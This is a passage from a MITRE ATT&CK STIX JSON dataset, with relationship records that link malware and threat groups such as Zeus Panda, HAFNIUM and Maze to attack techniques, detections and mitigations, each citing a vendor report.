2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T21:28:52.596Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) has been obfuscated with the DeepSea .NET and ConfuserEx code obfuscators.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b5cb547-b027-4a30-84de-d9d1df2495d0","created":"2023-08-03T21:05:05.908Z","revoked":false,"external_references":[{"source_name":"Crowdstrike Indrik November 2018","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-03T21:05:05.908Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has developed malware for their operations, including ransomware such as [BitPaymer](https://attack.mitre.org/software/S0570) and [WastedLocker](https://attack.mitre.org/software/S0612).(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b5d6b32-8402-49c0-9b30-336da6d77c73","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for changes made to files that may use hidden users to mask the presence of user accounts they create or modify. Monitor for changes made to the /Library/Preferences/com.apple.loginwindow plist file for unexpected modifications to the Hide500Users key value on macOS.(Citation: Cybereason OSX Pirrit)","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason OSX Pirrit","description":"Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.","url":"https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0b6312e1-2601-4bb3-ba21-ee1c488b3506","created":"2022-04-13T20:24:49.816Z","x_mitre_version":"0.1","external_references":[{"source_name":"McAfee Lazarus Nov 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Torisma](https://attack.mitre.org/software/S0678) can use `GetlogicalDrives` to get a bitmask of all drives available on a compromised system. It can also use `GetDriveType` to determine if a new drive is a CD-ROM drive.(Citation: McAfee Lazarus Nov 2020)","modified":"2022-04-17T18:18:13.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b66c798-f1fc-4e2f-b3b4-433dde89a191","type":"relationship","created":"2020-01-24T13:41:32.702Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T13:41:32.702Z","relationship_type":"revoked-by","source_ref":"attack-pattern--68c96494-1a50-403e-8844-69a6af278c68","target_ref":"attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b6d433f-6908-4226-bda8-39ac6dac0bcc","type":"relationship","created":"2022-03-31T12:39:52.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-31T12:39:52.071Z","description":"Regularly check component software on critical services that adversaries may target for persistence to verify the integrity of the systems and identify if unexpected changes have been made.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b703c87-b5a9-4e54-9db9-23d7288c2060","created":"2024-09-06T22:08:55.084Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:08:55.084Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used [P.A.S. Webshell](https://attack.mitre.org/software/S0598) during intrusions.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b71ce5b-7174-4491-8890-c699d93907e7","type":"relationship","created":"2021-06-24T20:07:08.397Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-06-24T21:05:01.808Z","description":"[SideTwist](https://attack.mitre.org/software/S0610) has used Base64 for encoded C2 traffic.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b74039a-c985-4587-bed7-0876f2ef1e6c","created":"2020-06-08T17:06:00.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant M-Trends 2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.","url":"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-30T13:28:37.417Z","description":"Limit permissions for creating, deleting, and otherwise altering compute components in accordance with least privilege. Organizations should limit the number of users within the organization with an IAM role that has administrative privileges, strive to reduce all permanent privileged role assignments, and conduct periodic entitlement reviews on IAM users, roles and policies.(Citation: Mandiant M-Trends 2020)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b77fa58-6fd7-4002-955e-e3e1705d54c2","type":"relationship","created":"2019-01-29T17:59:44.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More","source_name":"Talos Zeus Panda Nov 2017"}],"modified":"2019-04-16T20:55:20.025Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) uses PowerShell to download and execute the payload.(Citation: Talos Zeus Panda Nov 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b7d2693-022f-41be-a8b7-0f433e3ec48d","type":"relationship","created":"2021-02-10T18:41:29.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Ebury Oct 2017","url":"https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/","description":"Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."}],"modified":"2021-02-10T18:41:29.110Z","description":"[Ebury](https://attack.mitre.org/software/S0377) can deactivate PAM modules to tamper with the sshd configuration.(Citation: ESET Ebury Oct 2017)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b7d2d81-0d74-4365-a8ca-d70974c84a57","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","source_name":"Microsoft PLATINUM April 2016"}],"modified":"2019-05-10T12:14:32.237Z","description":"(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","target_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b7dfe49-d8c3-46d8-84ed-bf1898638ac3","type":"relationship","created":"2021-03-04T14:15:16.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft HAFNIUM March 2020","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."},{"source_name":"Volexity Exchange Marauder March 2021","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."}],"modified":"2021-03-04T14:47:27.418Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has used 7-Zip and WinRAR to compress stolen files for exfiltration.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b7f61c3-8600-4da7-bd6e-b304dd338d37","created":"2022-12-12T15:49:55.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T19:21:28.894Z","description":"[KEYPLUG](https://attack.mitre.org/software/S1051) has the ability to communicate over HTTP and WebSocket Protocol (WSS) for C2.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--6c575670-d14c-4c7f-9b9d-fd1b363e255d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b823cda-4775-4690-9ea6-02bbaa3522a1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2020-03-16T16:44:22.205Z","description":"[Duqu](https://attack.mitre.org/software/S0038) can track key presses with a keylogger module.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b844ba8-534f-4702-8ea5-50fd7b5f46a0","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-11T20:47:16.046Z","description":"Monitor for changes made to files outside of an update or patch that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Windows Event ID 4663 (An Attempt Was Made to Access An Object) can be used to alert on attempted file accesses that may be associate with Masquerading. ","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b8b803a-69e3-4da4-bed6-a28de4c964da","type":"relationship","created":"2021-02-09T14:35:39.663Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secure List Bad Rabbit","url":"https://securelist.com/bad-rabbit-ransomware/82851/","description":"Mamedov, O. Sinitsyn, F. Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021."}],"modified":"2021-05-04T19:28:12.935Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606)’s infpub.dat file uses NTLM login credentials to brute force Windows machines.(Citation: Secure List Bad Rabbit)","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0b932e1a-e0a1-4123-bcfe-6957b9ef2409","created":"2021-11-19T15:35:37.699Z","x_mitre_version":"1.0","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Clambling](https://attack.mitre.org/software/S0660) has the ability to use TCP and UDP for communication.(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-15T14:10:52.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b9a4cdc-8305-49ec-879f-6cfa35763af2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques","description":"Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.","source_name":"jRAT Symantec Aug 2018"},{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2020-03-16T17:01:17.809Z","description":"[jRAT](https://attack.mitre.org/software/S0283) has the capability to log keystrokes from the victim’s machine, both offline and online.(Citation: jRAT Symantec Aug 2018)(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0baf5506-35fb-4508-ba9a-09ca2962df43","created":"2022-04-13T16:28:01.616Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KONNI](https://attack.mitre.org/software/S0356) has relied on a victim to enable malicious macros within an attachment delivered via email.(Citation: Malwarebytes Konni Aug 2021)","modified":"2022-04-13T17:29:03.013Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0bb1573c-f30f-449c-931e-c5de024e96f8","type":"relationship","created":"2021-04-25T21:45:21.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNSHUTTLE Mar 2021","url":"https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html","description":"Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."}],"modified":"2021-04-25T21:45:21.073Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) has been packed for obfuscation.(Citation: FireEye SUNSHUTTLE Mar 2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0bb3a317-c459-4c7f-b47b-c0521d15bf62","created":"2023-03-22T05:11:32.368Z","revoked":false,"external_references":[{"source_name":"Talos PoetRAT October 2020","description":"Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021.","url":"https://blog.talosintelligence.com/2020/10/poetrat-update.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:11:32.368Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has `pyminifier` to obfuscate scripts.(Citation: Talos PoetRAT October 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0bb4fb8a-0b0f-46c6-820b-d46c5f98fa12","created":"2020-06-09T21:23:39.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Skidmap","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:03:55.631Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) is a kernel-mode rootkit used for cryptocurrency mining.(Citation: Trend Micro Skidmap)","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0bbdc984-1515-4a8e-a211-2817371fc75e","type":"relationship","created":"2020-05-18T17:31:39.486Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."}],"modified":"2020-06-24T01:40:07.458Z","description":"[Maze](https://attack.mitre.org/software/S0449) has inserted large blocks of junk code, including some components to decrypt strings and other important information for later in the encryption process.(Citation: McAfee Maze March 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0bbf5be7-e1de-419e-85ee-afaa431f60be","type":"relationship","created":"2020-05-21T17:14:56.884Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-29T13:31:07.950Z","description":"[USBferry](https://attack.mitre.org/software/S0452) can use net user to gather information about local accounts.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"malware--75bba379-4ba1-467e-8c60-ec2b269ee984","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0bc4d3d8-8018-4e0a-a365-ebef543e1222","type":"relationship","created":"2022-03-25T15:24:08.781Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Palmerworm Sep 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt","description":"Threat Intelligence. (2020, September 29). Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors. Retrieved March 25, 2022."}],"modified":"2022-03-25T15:24:08.781Z","description":"[BlackTech](https://attack.mitre.org/groups/G0098) has used the SNScan tool to find other potential targets on victim networks.(Citation: Symantec Palmerworm Sep 2020)","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0bc7c262-604c-42af-8829-ce9f579436d4","created":"2019-06-14T16:45:33.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rapid7 KeyBoy Jun 2013","description":"Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.","url":"https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/"},{"source_name":"PWC KeyBoys Feb 2017","description":"Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.","url":"https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:22:36.384Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) can gather extended system information, such as information about the operating system, disks, and memory.(Citation: PWC KeyBoys Feb 2017)(Citation: Rapid7 KeyBoy Jun 2013)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0bca4956-d4c5-4149-a493-c0596701dd9a","created":"2023-04-12T21:24:12.940Z","revoked":false,"external_references":[{"source_name":"Microsoft BlackCat 